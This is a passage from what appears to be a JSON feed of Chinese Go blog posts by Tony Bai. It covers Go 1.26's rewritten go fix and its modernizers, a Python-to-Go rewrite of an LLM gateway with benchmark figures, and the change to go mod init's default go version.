./... $ GOOS=windows GOARCH=amd64 go fix ./... 核心特性：Modernizers（现代化器） Go 1.26 引入了一个新概念：Modernizers。它们是一组特殊的分析器，专门用于将旧的习惯用法替换为利用新语言特性或新标准库 API 的写法。\n以下是几个最具代表性的 Modernizers 示例，展示了它们如何简化代码：\n1. minmax：拥抱内置函数 在 Go 1.21 之前，计算最小值/最大值通常需要写冗长的 if/else 语句。\n旧代码：\nx := f() if x \u0026lt; 0 { x = 0 } if x \u0026gt; 100 { x = 100 } minmax 修复后可能的样子：\nx := min(max(f(), 0), 100) 代码意图一目了然，且消除了分支跳转，可能带来微小的性能提升。\n2. rangeint：告别 C 风格循环 Go 1.22 引入了对整数的 range 支持。\n旧代码：\nfor i := 0; i \u0026lt; n; i++ { f() } rangeint 修复后：\nfor range n { f() } 如果你不需要索引 i，新的写法极其清爽。\n3. stringscut：字符串分割的最佳实践 Go 1.18 引入的 strings.Cut 是处理“按分隔符切分”场景的神器，它比 Index + Slicing 更高效且不易出错。\n旧代码：\ni := strings.Index(s, \u0026#34;:\u0026#34;) if i \u0026gt;= 0 { return s[:i] } stringscut 修复后：\nbefore, _, ok := strings.Cut(s, \u0026#34;:\u0026#34;) if ok { return before } 4. newexpr：Go 1.26 的专属语法糖 这是 Go 1.26 刚刚引入的语言变动：new() 函数现在支持传入表达式，直接初始化变量。这在处理 Protobuf 或 JSON 的可选字段（Pointer 类型）时非常有用。\n旧代码（通常需要辅助函数）：\nfunc newInt(x int) *int { return \u0026amp;x } data, err := json.Marshal(\u0026amp;RequestJSON{ URL: url, Attempts: newInt(10), // 需要定义辅助函数或临时变量 }) newexpr 修复后：\ndata, err := json.Marshal(\u0026amp;RequestJSON{ URL: url, Attempts: new(10), // Go 1.26 原生支持！ }) newexpr 这样的 Modernizer 非常智能。它会检查你的 go.mod 文件中的 go 指令或文件的 //go:build 标签。只有当你的项目明确声明支持 Go 1.26 或更高版本时，它才会建议由于 new(expr) 带来的修改。这确保了 go fix 不会引入破坏向后兼容性的代码。\n协同效应与冲突解决 go fix 的强大之处在于它是迭代式的。应用一个修复可能会触发另一个修复。\n协同效应（Synergy）示例 考虑一个经典的性能陷阱：在循环中拼接字符串。\n初始代码：\ns := \u0026#34;\u0026#34; for _, b := range bytes { s += fmt.Sprintf(\u0026#34;%02x\u0026#34;, b) // O(N^2) 复杂度！ } use(s) 第一轮 go fix (stringsbuilder)：\n分析器识别出这是低效的字符串拼接，将其重构为 strings.Builder。\nvar s strings.Builder for _, b := range bytes { s.WriteString(fmt.Sprintf(\u0026#34;%02x\u0026#34;, b)) } use(s.String()) 第二轮 go fix (fmtappendf)：\n一旦代码变成了 WriteString(Sprintf(…))，另一个分析器（源自 staticcheck 的 QF1012）就会识别出这可以优化为 fmt.Fprintf，不仅更简洁，而且直接写入 Buffer，减少了中间内存分配。\nvar s strings.Builder for _, b := range bytes { fmt.Fprintf(\u0026amp;s, \u0026#34;%02x\u0026#34;, b) } use(s.String()) 因此，对于大型重构，建议运行多次 go fix，直到代码达到稳定态（Fixed Point）。\n冲突处理 go fix 可能会在同一文件的不同位置应用几十个修复。它内部使用了一个简单的**三路合并算法（Three-way Merge）**来协调这些修改。如果两个修复在语法上冲突（例如修改了同一行），工具会丢弃其中一个，并提示用户重新运行。\n但还有一种更棘手的语义冲突（Semantic Conflict）。\n例如，修复 A 删除了变量 x 的一次使用，修复 B 删除了 x 的另一次使用。两个修复单独看都没问题，但合在一起后，变量 x 变成了“未使用的变量”，导致编译错误。\ngo fix 的解决方案很务实：它在所有修复应用完毕后，会运行一个最终的清理 Pass，自动删除那些因重构而变得多余的 import 语句。对于未使用的变量，通常会留给编译器报错，由开发者手动删除（或者等待未来的 deadcode 消除器）。\n幕后英雄：Go 分析框架 (The Analysis Framework) 新版 go fix 的核心动力来自于 Go Analysis Framework。\n历史沿革 早在 2017 年，Go 团队将 go vet 的核心逻辑拆分成了两部分：\nAnalyzers（分析器）：纯粹的算法逻辑，负责发现问题（Checker）或建议修复（Fixer）。 Drivers（驱动器）：负责加载程序、运行分析器并展示结果。 这种分离架构带来了极大的灵活性。同一个分析器（比如 printf 检查）可以运行在多种场景下：\nunitchecker：go vet 和 go fix 的底层驱动，支持增量构建。 gopls：Go 语言服务器，在编辑器中实时提供红色波浪线和快速修复（Quick Fix）。 nogo：用于 Bazel 等构建系统的驱动。 analysistest：用于测试分析器本身的框架。 Go 1.26 的里程碑意义在于：go fix 和 go vet 在底层实现上终于完全统一了。 它们的区别仅在于目标：vet 侧重于报告错误（低误报率），fix 侧重于自动修改（无回退，保全正确性）。\n性能黑科技 为了让 go fix 能在大型代码库上秒级运行，Go 团队引入了多项基础设施优化：\nInspector 与 Cursor： 分析器通常需要遍历语法树（AST）。inspector 包预先计算了遍历索引，使得分析器可以快速跳过不关心的节点。新增的 Cursor 类型更是允许在 AST 上进行类似 DOM 的灵活导航（父节点、兄弟节点）。\nFacts（事实）与跨包推断： 分析框架支持跨包的“事实”传递。例如，printf 检查器可以分析 log.Printf 的函数体，得出一个“Fact”：log.Printf 是 fmt.Printf 的包装器。这个 Fact 会被序列化并传递给导入了 log 包的其他包，从而实现跨包的格式化字符串检查。\nTypeIndex（类型索引）： 很多分析器需要查找“所有对 fmt.Printf 的调用”。与其遍历整个 AST，typeindex 预先构建了符号引用索引。这使得查找特定符号的开销从“与代码量成正比”降低为“与调用次数成正比”，对于查找冷门符号（如 net.Dial）的分析器，性能提升可达 1000 倍。\n未来展望：“自助式”分析 (Self-Service) Alan Donovan 在博文中提出了一个令人兴奋的愿景：Self-Service Paradigm（自助式范式）。\n目前的 Modernizers 大多是针对 Go 标准库的。但第三方库的作者呢？如果你维护了一个流行的 ORM 或 Web 框架，当你升级 API 时，如何帮助你的用户自动迁移？\n你不可能把你的迁移逻辑塞进 Go 官方的 go fix 里。\nGo 1.26 迈出了“自助服务”的第一步：基于注解的内联器（Annotation-driven Inliner）。\n//go:fix inline 库作者可以在即将废弃的函数上添加一行特殊的注释：\n// Deprecated: Use Pow(x, 2) instead. //go:fix inline func Square(x int) int { return Pow(x, 2) } 当用户运行 go fix 时，分析器会识别这个指令，并自动将用户代码中的 Square(x) 替换为 Pow(x, 2)。\n未来的可能性 动态加载分析器： 未来，Go 可能会支持从模块源代码树中动态加载分析器并安全执行。这意味着 sql 包可以自带一个检查器来防止 SQL 注入，或者你的公司内部框架可以自带一套 go fix 规则来强制执行内部编码规范。\n声明式控制流检查： 许多检查逻辑都遵循“做完 Y 之后别忘了 X”的模式（例如：打开文件后别忘了 Close，获取锁后别忘了 Unlock）。Go 团队计划探索一种通用的方式，让开发者只需简单的注解就能定义这种检查，而无需编写复杂的 Go 代码来分析控制流。\n小结 Go 1.26 的 go fix 不仅仅是一个工具的更新，它代表了 Go 工程化能力的一次跃迁。\n它告诉我们：维护代码不仅是修修补补，更是持续的进化。 通过将最佳实践固化为代码（Analyzers），并赋予工具自动执行的能力（Fixers），Go 正在构建一个更加健康、更具韧性的生态系统。\n对于每一位 Gopher 来说，现在的任务很简单：升级到 Go 1.26(记得将go.mod的go版本升级为go 1.26.0或后续版本)，在你的项目中运行 go fix ./…，然后享受代码变得更现代、更高效的快感吧。\n参考资料：https://go.dev/blog/gofix\n你的“现代化”阻碍是什么？\n自动重构工具虽然强大，但老代码库的惯性依然巨大。在你目前的项目中，有哪些“旧习惯”最让你难以割舍？你是否尝试过用 go fix 来升级你的代码？\n欢迎在评论区分享你的重构经历或对新工具的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/19/using-go-fix-to-modernize-go-code/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/using-go-fix-to-modernize-go-code-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/19/using-go-fix-to-modernize-go-code\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/19/using-go-fix-to-modernize-go-code\"\u003ehttps://tonybai.com/2026/02/19/using-go-fix-to-modernize-go-code\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2026年2月，\u003ca href=\"https://tonybai.com/2026/02/14/some-changes-in-go-1-26/\"\u003eGo 1.26 正式发布\u003c/a\u003e。除了语言层面的新特性（如 new(expr)）和运行时的性能提升（如 Green Tea GC）之外，工具链迎来了一次史诗级的升级：go fix 命令被彻底重写。\u003c/p\u003e","title":"Go 1.26 重磅更新：用 go fix 重塑代码现代化的艺术"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/18/why-we-chose-go-over-python-for-llm-gateways\n大家好，我是Tony Bai。\n在 2026 年的今天，人工智能早已走出了实验室，成为企业级应用的核心驱动力。Python，凭借其在机器学习领域的绝对统治地位——拥有 PyTorch、TensorFlow、Hugging Face 等无可匹敌的生态系统——长期以来被视为 AI 开发的“默认语言”。\n然而，随着 AI 应用从模型训练（Training）走向推理服务（Inference）和应用编排（Orchestration），工程重心发生了微妙的转移。当我们谈论模型本身时，Python 是王者；但当我们谈论承载模型流量的基础设施——网关、代理、路由器时，Python 还是最佳选择吗？\n近日，开源 LLM 网关项目 Bifrost 的维护者在 Reddit 上分享了一篇题为《Why we chose Go over Python for building an LLM gateway》的技术复盘，引发了社区的强烈反响。他们放弃了拥有 LiteLLM 等成熟竞品的 Python 生态，转而使用 Go 重写了核心网关。结果令人咋舌：延迟降低了约 700 倍，内存占用降低了 68%，吞吐量提升了 3 倍。\n这场技术选型的背后，折射出的是 AI 工程化进入深水区后，对并发模型、资源效率与部署架构的重新审视。\nPython 的“舒适区”与“性能墙” 在项目的初期，选择 Python 似乎是理所当然的。\n1. 生态惯性与“胶水”优势\n绝大多数 AI 工程师都是 Python Native。从 LangChain 到 LlamaIndex，几乎所有的 Agent 开发框架都优先支持 Python。使用 Python 构建网关，意味着可以直接复用现有的库，甚至可以直接挂载一些轻量级的 Python 逻辑来处理 Embeddings 或 RAG（检索增强生成）流程。FastAPI 的易用性更是让开发者能在几分钟内搭建起一个服务。\n2. 遭遇瓶颈：网关的本质是 I/O\n然而，LLM 网关的业务属性决定了它的性能痛点。与计算密集型（CPU-bound）的模型推理不同，网关是典型的 I/O 密集型应用。它的核心职责是：\n接收成千上万的客户端请求。 将请求转发给上游提供商（如 OpenAI, Anthropic, 或自建的 vLLM）。 等待上游响应（这是最耗时的环节，LLM 的首字延迟 TTFT 通常在秒级）。 将流式响应（SSE）回传给客户端。 在这个过程中，网关绝大部分时间都在“等待”。\n3. Python 的并发痛点\nBifrost 团队在测试中发现，当并发请求数达到 500-1000 RPS（每秒请求数）时，Python 的瓶颈开始显现。\nGIL（全局解释器锁）的幽灵：虽然 Python 的 asyncio 可以处理 I/O 并发，但 GIL 依然限制了多核 CPU 的利用率。对于需要处理大量并发连接、同时可能涉及少量数据处理（如 Token 计数、PII 过滤）的网关来说，线程竞争（Thread Contention）成为了不可忽视的开销。 昂贵的上下文切换：在 Python 中维持数千个并发连接，其上下文切换的开销远高于编译型语言。 Go 的降维打击——数据背后的技术真相 Bifrost 团队最终选择了 Go。这一决定并非出于对语言的偏好，而是基于冷冰冰的 Benchmark 数据。让我们深入分析他们披露的核心指标。\n延迟（Latency）：微秒与毫秒的鸿沟 数据对比：\nBifrost (Go): ~11 微秒 (0.011ms) / 请求\nLiteLLM (Python): ~8 毫秒 / 请求\n这是一个惊人的 700 倍 差距。\n虽然 8 毫秒在人类感知中似乎微不足道，但在高并发架构中，这被称为“开销放大”。\n累积效应：在一个复杂的 AI Agent 工作流中，可能涉及几十次 LLM 调用。如果每一层网关都增加 8ms 的延迟，累积起来就是可感知的卡顿。 高负载下的劣化：在 10,000 个并发请求下，Go 引入的总处理时间仅为 110ms，而 Python 方案则产生了惊人的 80 秒总 CPU 时间开销。这意味着 Python 方案需要消耗更多的 CPU 核心来维持同样的响应速度，否则请求就会排队，导致尾部延迟（Tail Latency）飙升。 此外，Go 的 net/http 标准库在处理 HTTP 请求时经过了极致优化。Go 不需要像 Python 那样依赖 ASGI/WSGI 服务器（如 Uvicorn），其原生的 HTTP 处理能力配合 Goroutine，使得每个请求的内存分配和 CPU 周期都降到了最低。\n并发模型：Goroutine vs Asyncio 架构对比：\nGo: 10,000 个 Goroutines，每个仅占用 ~2KB 栈空间。\nPython: 受限于 OS 线程开销或 Event Loop 的单核瓶颈。\nLLM 网关的特殊性在于长连接。LLM 的流式输出可能持续数秒甚至更久。这意味着网关必须同时维护成千上万个活跃连接。\nGo 的 GMP（Goroutine-Machine-Processor）调度模型天生适合这种场景。成千上万个 Goroutine 可以复用少量的系统线程，上下文切换由 Go Runtime 在用户态极速完成，几乎不消耗系统内核资源。\n相比之下，Python 即使使用了 uvloop，在面对海量并发连接的数据搬运时，其解释器的开销依然是一个沉重的包袱。\n内存效率与成本 数据对比：\nGo: 内存占用降低 ~68%。\n生产环境: Go 跑在 t3.medium (2 vCPU, 4GB) 上即可；Python 则需要 t3.xlarge。\n对于大规模部署 AI 服务的企业来说，这意味着基础设施成本直接减半。\nPython 的动态类型系统和垃圾回收机制导致其对象内存占用较大。而 Go 的结构体布局紧凑，且编译器能进行逃逸分析（Escape Analysis），将大量对象分配在栈上而非堆上，从而显著降低了 GC 压力和内存占用。\n社区深度探讨——AI 时代的语言版图重构 这篇帖子在 r/golang 引发了极高质量的讨论，评论区揭示了行业内更深层次的趋势。\n“AI 能够写代码”改变了竞争规则 过去，Python 的一大优势是“开发效率高”。写 Python 代码通常比写 Go 或 Rust 快。\n但在 2026 年，“Agentic Coding”（即利用 AI Coding Agent 辅助编程）已经成为主流。\n有开发者指出：“LLM 让编写 Rust 和 Go 变得非常高效，你完全可以享受到高性能语言的红利，而不用支付编写它们的‘学习成本’。”\n这是一个极其深刻的洞察。\nRust 的借用检查器：以前是新手的噩梦，现在 LLM 可以很好地处理生命周期标注。 Go 的样板代码：if err != nil 虽然繁琐，但 Copilot/Cursor/Claude Code等 可以一键生成。 当“编写代码”不再是瓶颈时，“运行时性能”和“稳定性”的权重就被无限放大了。这进一步削弱了 Python 在后端基础设施层的竞争力。\nRust 还是 Go？ 既然要高性能，为什么不直接上 Rust？\n评论区对此展开了激辩。虽然 Rust 在理论上拥有比 Go 更高的性能上限和内存安全性（无 GC），但 Go 在“开发效率”与“运行效率”之间找到了完美的平衡点。\nRust: 适合构建数据库、搜索引擎内核等对延迟极其敏感且逻辑复杂的底层组件。但 Rust 的“认知负担”依然较重，且编译速度较慢。 Go: 提供了 80% 的 Rust 性能，但只有 20% 的开发难度。对于网关、代理这类中间件，Go 的标准库（特别是 net/http）极其成熟，编译速度极快，且自带 GC 能让开发者从内存管理的细节中解脱出来，专注于业务逻辑（如限流、计费）。 对于大多数 AI 网关场景，Go 是性价比最高的选择。\nPython 的归宿：模型与胶水 这是否意味着 Python 将被淘汰？绝不。\n社区共识非常明确：Python 的护城河在于 ML 生态。\n模型训练与微调：PyTorch/JAX 无可替代。 数据科学与探索：Jupyter Notebook 是数据科学家的后花园。 快速原型开发：在验证想法阶段，Python 依然是最快的。 但在生产环境部署（Production Serving）阶段，架构正在发生分离：\n控制平面（Control Plane）：由 Go/Rust 接管，负责流量调度、鉴权、日志、监控。 数据平面（Data Plane）：核心推理引擎（如 vLLM）虽然内部可能有 C++/CUDA 优化，但外层接口仍常由 Python 封装。 Go 在 AI 领域的未来展望 Bifrost 的案例只是冰山一角。我们正在目睹 Go 语言在 AI 领域的“新基建”运动。\n静态二进制文件的魅力 Deployment simplicity 是作者提到的另一个关键点。\n部署 Python 应用通常意味着：配置 Docker -\u0026gt; 安装 Python -\u0026gt; pip install requirements.txt -\u0026gt; 解决依赖冲突 -\u0026gt; 虚拟环境管理。\n而部署 Go 应用：COPY bifrost /usr/local/bin/ -\u0026gt; Run。\n在容器化和 K8s 盛行的今天，Go 的静态链接二进制文件极大地简化了 CI/CD 流程，减小了镜像体积，提升了冷启动速度（这对于 Serverless AI 推理尤为重要）。\nAI 专有工具链的完善 虽然 Go 在 Tensor 操作库上不如 Python 丰富，但在应用层工具上正在迅速补齐。\nLangChainGo: 社区正在移植 LangChain 的核心能力。 Vector Database Clients: Milvus, Weaviate, Pinecone 等向量数据库都有优秀的 Go SDK。 主流大模型 GenAI SDK: 像Google等主流大模型厂商官方对 Go 的支持力度都很大，Gemini、Claude、OpenAI 等模型的 Go SDK 体验都还不错。 架构师的决策建议 如果你正在构建一个 AI 应用平台：\n不要用 Python 写网关：不要让 GIL 成为你高并发路上的绊脚石。 不要用 Go 写模型训练：不要试图挑战 PyTorch 的地位，那是徒劳的。 采用“三明治架构”： 上层：Go 处理高并发 HTTP 请求、WebSocket、SSE。 中层：Go 处理业务逻辑、数据库交互、Redis 缓存。 底层：Python/C++ 容器专门负责模型推理，通过 gRPC 与 Go 层通信。 小结 Bifrost 从 Python 到 Go 的迁移，不仅仅是一次代码重写，更是一次架构理念的升级。它证明了在 AI 浪潮中，基础设施的性能与模型的智能同等重要。\n随着 LLM 应用规模的爆发式增长，计算成本和响应延迟将成为企业关注的焦点。Go 语言凭借其高效的并发模型、极低的资源占用和极简的部署体验，正在成为 AI 基础设施层的“事实标准”。\n对于 Gopher 而言，这是一个最好的时代。我们不需要成为算法专家，只需要发挥 Go 语言最擅长的能力——构建高性能、高可靠的管道，就能在 AI 时代占据不可或缺的一席之地。\n资料链接：https://www.reddit.com/r/golang/comments/1r27pqx/why_we_chose_go_over_python_for_building_an_llm/\n你认为 Python 会被“边缘化”吗？\n随着 Agentic Coding 的普及，高性能语言的入门门槛正在消失。在你的 AI 实践中，是否也感受到了 Python 在生产部署时的无奈？你认为 Go 在 AI 领域还会攻下哪些阵地？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/18/why-we-chose-go-over-python-for-llm-gateways/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-we-chose-go-over-python-for-llm-gateways-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/18/why-we-chose-go-over-python-for-llm-gateways\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/18/why-we-chose-go-over-python-for-llm-gateways\"\u003ehttps://tonybai.com/2026/02/18/why-we-chose-go-over-python-for-llm-gateways\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 2026 年的今天，人工智能早已走出了实验室，成为企业级应用的核心驱动力。Python，凭借其在机器学习领域的绝对统治地位——拥有 PyTorch、TensorFlow、Hugging Face 等无可匹敌的生态系统——长期以来被视为 AI 开发的“默认语言”。\u003c/p\u003e","title":"AI 基础设施的语言之争：为何构建 LLM 网关时，我们放弃了 Python 选择了 Go？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/16/go-1-26-go-mod-init-changes-version-management-philosophy\n大家好，我是Tony Bai。\n在 Go 语言的开发日常中，go mod init 是每个新项目诞生的起点。对于大多数开发者而言，这行命令只是一系列机械性的动作中的一环：创建一个文件夹，输入命令，生成 go.mod，然后开始写代码。\n然而，在这个看似简单的动作背后，隐藏着一个长期困扰库维护者的问题：默认的 go 指令版本。\nGo 1.26中，Go 核心团队接受了一项重要的提案（Issue #74748），修改 go mod init 的默认行为：将默认生成的 go 版本指令从当前工具链版本（N），修改为前一个次要版本（N-1）。\n这个看似微小的改动，实际上触及了 Go 语言在模块兼容性、开发者体验以及生态演进策略上的深层思考。本文将从这个提案出发，剖析 go.mod 文件的核心机制、版本策略的权衡，以及这对我们未来的 Go 开发意味着什么。\n现状与痛点：被“无心之失”阻断的兼容性 默认行为的逻辑 在 Go 1.26 之前（包括目前的 1.24/1.25 版本），当你安装了最新的 Go 工具链（假设为 Go 1.25.0）并运行 go mod init example.com/mylib 时，生成的 go.mod 文件会如下所示：\nmodule example.com/mylib go 1.25 这一行 go 1.25 意味着什么？它向 Go 编译器和构建工具声明：“这个模块需要至少 Go 1.25 版本的语言特性和标准库行为。”\n库作者的困境 对于应用程序（Application/Binary）开发者来说，这通常不是问题，因为你控制着部署环境。但对于库（Library）作者来说，这往往会带来意想不到的麻烦。\n设想这样一个场景：\n你是一名热衷于尝试新技术的开发者，第一时间升级到了 Go 1.25。你写了一个通用的工具库 mylib，代码非常简单，只用到了 Go 1.20 就已经存在的特性。你运行 go mod init，发布了 v1.0.0。\n此时，另一位开发者 Alice 想要在她的项目中使用你的库。她的公司出于稳定性考虑，生产环境使用的是 Go 1.24（这是完全受官方支持的版本）。当她尝试 go get example.com/mylib 时，会收到报错：\ngo: example.com/mylib@v1.0.0 requires go \u0026gt;= 1.25; your go version is 1.24.5 Alice 感到困惑：你的代码明明没有用任何 1.25 的新特性（比如尚未发布的新语法糖等），为什么强行要求 1.25？\n这就是现状的痛点：go mod init 过于激进地将当前工具链版本作为最低版本要求，导致许多本可以兼容旧版 Go 的库，无意间将仍处于官方支持周期内的老版本用户拒之门外。\n提案详情：退一步，海阔天空 为了解决上述问题，Dmitri Shuralyov 提出了 #74748 提案，建议修改 go mod init 的默认行为。\n新的默认规则 从 Go 1.26 开始，go mod init 将遵循以下逻辑：\n如果当前工具链是稳定版 1.N.M：默认生成的 go 指令为 1.(N-1).0。\n例如：使用 Go 1.26.0 工具链初始化，go.mod 将写入 go 1.25.0。 如果当前工具链是预览版（Pre-release/RC）：默认生成 1.(N-2).0。\n例如：使用 Go 1.26rc1 工具链初始化，go.mod 将写入 go 1.24.0。 设计动机 Go 官方的发布策略是支持最近的两个主要版本。例如，当 Go 1.26 发布时，Go 1.26 和 Go 1.25 是受支持的版本，而 Go 1.24 将停止维护。\n通过将默认版本设置为 N-1，新创建的模块将自动兼容当前所有受官方支持的 Go 版本。\n这是一种“退一步”的策略。对于绝大多数新项目，尤其是开源库，初始代码很少会立即依赖刚刚发布的那个版本才引入的语言特性。默认向下兼容一级，可以显著减少“因为作者忘了改 go.mod 而导致用户无法使用”的情况，极大地提升了生态系统的连通性。\n深度解析：go 指令究竟控制着什么？ 要理解为什么社区对这个改动讨论如此热烈，我们需要深入理解 go.mod 中 go 1.xx 这行指令到底控制了哪些东西。它不仅仅是一个版本号，它是 Go 向前兼容性（Forward Compatibility）和 向后兼容性（Backward Compatibility）的总开关。\n语言特性开关 这是最直观的作用。它决定了编译器允许使用哪个版本的语法。\n如果你的 go.mod 写着 go 1.17，即使你用 Go 1.21 的工具链编译，你也不能使用泛型（Go 1.18 引入）。 如果你的 go.mod 写着 go 1.21，你不能使用 for range 整数（Go 1.22 引入）。 这也引发了该提案最大的争议点（下文会详述）：新手困惑。如果默认设为旧版本，新手使用新版 Go 安装后，却发现无法使用新特性，可能会感到迷茫。\n依赖解析策略 Go 的模块加载机制随版本演进过程。例如：\nGo 1.17 引入了 Module Graph Pruning（依赖图修剪），只有 go 1.17 及以上才会默认开启更高效的依赖加载方式。 Go 1.21 彻底改变了工具链管理，引入了 toolchain 指令。 标准库行为与 GODEBUG 这是最容易被忽视，但对生产环境影响最大的部分。\nGo 团队为了保证兼容性，不仅保证代码能编译，还尽力保证运行时行为的一致性。当标准库需要修复一个 Bug 或更改一个默认行为（这可能会破坏依赖旧行为的用户）时，通常会通过 GODEBUG 变量来控制。\n关键点在于：go.mod 中的 go 版本决定了 GODEBUG 的默认值。\n例如（虚构案例）：假设 Go 1.26 决定修改 net/http 的默认超时策略，为了兼容，Go 1.26 会检查 go.mod：\n如果 go.mod 是 go 1.26：使用新策略。 如果 go.mod 是 go 1.25：即使是用 Go 1.26 编译，依然默认使用旧策略，以保持行为不变。 在提案讨论中，有开发者敏锐地指出了这一点：\n“When looking at #76677 I realized this will have the unintended(?) effect of delaying any non security changes gated behind GODEBUGs…”\n(我意识到这将产生一个非预期的副作用：它会推迟所有由 GODEBUG 控制的非安全变更的生效时间。)\n这意味着，如果你用 Go 1.26 初始化项目，默认得到 go 1.25，那么你虽然用着最新的编译器，但你的程序运行时行为（针对那些有破坏性变更的边缘情况）实际上是运行在“兼容模式”下的。这对于稳定性是好事，但对于想要立即获得最新修复（非安全类）的用户来说，可能是一个隐性阻碍。\n社区的辩论：便利性 vs. 最佳实践 在 GitHub Issue #74748 的讨论区，Go 社区的大佬们也曾展开了精彩的辩论。\n支持方 开发者mvdan 强烈支持这一变更。他指出：\n“Since I daily drive tip, I practically always have to fix up a module after go mod init if I want it to work anywhere else.”\n(因为我日常使用开发版分支，每次初始化模块后，我几乎都必须手动修改 go.mod 才能让它在别处工作。)\n这也是许多库作者的心声。经验丰富的开发者在发布库之前，往往会手动将 go 版本调低，以匹配 Ubuntu LTS 或 Debian Stable 等发行版中较旧的 Go 版本。既然这是最佳实践，为什么不让工具自动完成呢？\n反对方 反对方主要担心两点：\n初学者的体验：一个刚学 Go 的新手，下载了最新的 Go 1.26，看到教程里有很酷的新语法。他运行 go mod init，然后把代码粘贴进去，结果报错说“语法不支持”。这会让人非常沮丧。 隐式行为：go 指令应该是一个显式的声明。有开发者认为：“想要支持旧版本应该是一个有意识的选择。” 默认使用旧版本，可能会让开发者在无意中错过了新版本的改进。 最终的权衡 对此，mvdan 给出了有力的反驳：\n“In fact I would argue the opposite – we should not encourage new Go users to use the latest language features the moment they are available. Breaking users on slightly older versions of Go should be a conscious choice.”\n(事实上我持相反观点——我们不应该鼓励新用户在新特性刚出时就立即使用。因使用新特性而破坏对旧版本用户的兼容性，这才应该是一个有意识的选择。)\n这句话道出了 Go 哲学的一大核心：工程素养优于尝鲜冲动。\nGo 的编译器错误信息已经做得非常好。如果因为版本过低导致语法不支持，编译器会明确提示“升级 go.mod 中的版本”。这对于新手来说是一个学习 Go 版本管理机制的好机会，而不是不可逾越的障碍。\n我们该如何应对？ 这个变更在 刚刚发布的Go 1.26中已经落地，它背后的逻辑现在就值得我们应用。\n库开发者（Library Authors） 如果你在维护一个开源库，不要仅仅因为你安装了最新版 Go，就让你的库依赖最新版 Go。\n手动降级：在 go mod init 后，手动编辑 go.mod，将其改为你实际需要的最低版本。例如，如果你没用泛型，甚至可以设为 go 1.17（虽然现在来看有点太老了，通常建议支持最近 3-4 个版本）。 CI 验证：在 GitHub Actions 中，不要只测试 latest，一定要测试你声明的最低版本（Min Go Version）。 应用开发者（App Developers） 如果你在开发一个最终产品（Web 服务、CLI 工具），你通常希望使用最新的运行时优化和特性。\n手动升级：在使用 Go 1.26 初始化后，如果你确定需要最新的调度器优化或 GC 改进，可以运行 go get go@1.26 或手动修改 go.mod。 关注 GODEBUG：了解你的 go 指令版本不仅影响语法，还影响 GODEBUG 的默认配置。如果你在排查诡异的 Bug，检查一下是不是因为 go 版本过低导致运行在“兼容模式”。 小结：Go 的成熟与克制 Go 1.26 对 go mod init 的这一改动，反映了 Go 语言已经从一个“快速迭代、功能补齐”的青春期，步入了一个“注重生态、强调兼容”的成熟期。\n在 Rust、Python 等社区，往往倾向于推动用户使用最新版。而 Go 选择了一种更为克制的道路：工具链默认帮开发者选择了兼容性更好的路径，而不是特性更炫酷的路径。\n这很“Go”。\n它提醒我们，软件工程不仅仅是写出能跑的代码，更是要写出能被更多人使用、能长期稳定运行的代码。\n对于 Gopher 们来说，下一次当你敲下 go mod init 时，看到那个比你安装的版本低一号的数字，请不要惊讶。那是 Go 团队在向你传递一种无声的哲学：Slow down, and carry everyone along.（慢一点，带着大家一起走。）\n参考资料\nGitHub Issue #74748: cmd/go: change go mod init default go directive to 1.(N-1).0 Go Toolchain Documentation Go Release Policy 你怎么选？\n在 Go 1.26 之后，你打算在 go mod init 